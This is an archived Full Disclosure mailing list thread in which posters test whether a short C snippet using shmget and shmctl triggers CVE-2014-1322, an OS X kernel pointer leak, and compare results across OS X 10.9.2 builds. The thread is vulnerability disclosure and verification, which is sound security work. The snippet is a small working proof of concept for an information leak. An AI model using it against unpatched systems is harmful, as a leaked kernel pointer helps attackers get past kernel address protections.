Full Disclosure mailing list archives
Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)?
From: Keira Cran <keiracran () eml cc>
Date: Wed, 21 May 2014 01:22:26 -0700
Just to clarify if getting 0x0 means it's patched, how can I verify that it's leaking legit kernel pointer when it's non-zero? best, keira On Tue, May 20, 2014, at 03:31 PM, Christian Mayer wrote:
Yes and no. On the first machine (OS X 10.9.2 (13C1021)) I got no pointer. Compiled with Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn). On the second machine (OS X 10.9.2 (13C64)) I got a pointer. Compiled with Apple LLVM version 5.0 (clang-500.2.79) (based on LLVM 3.3svn). Br, Christian -- http://fox21.at On Tue, May 20, 2014 at 12:45 PM, <rai () openmailbox org> wrote:Hi, There's a claim this triggers CVE-2014-1322 allowing local user to read a kernel pointer: int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W ); struct shmid_ds lolz; int res = shmctl( shm, IPC_STAT, &lolz ); printf( "%pn", lolz.shm_internal ); full source: http://maker.fea.st/CVE-2014-1322.c [1] Is anyone able to reproduce? -- rai Links: ------ [1] http://maker.fea.st/CVE-2014-1322.c _______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/_______________________________________________ Sent through the Full Disclosure mailing list http://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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Current thread:
- A way to trigger CVE-2014-1322 (userspace read kernel pointer)? rai (May 20)
- Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)? Christian Mayer (May 20)
- Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)? Keira Cran (May 21)
- Re: A way to trigger CVE-2014-1322 (userspace read kernel pointer)? Christian Mayer (May 20)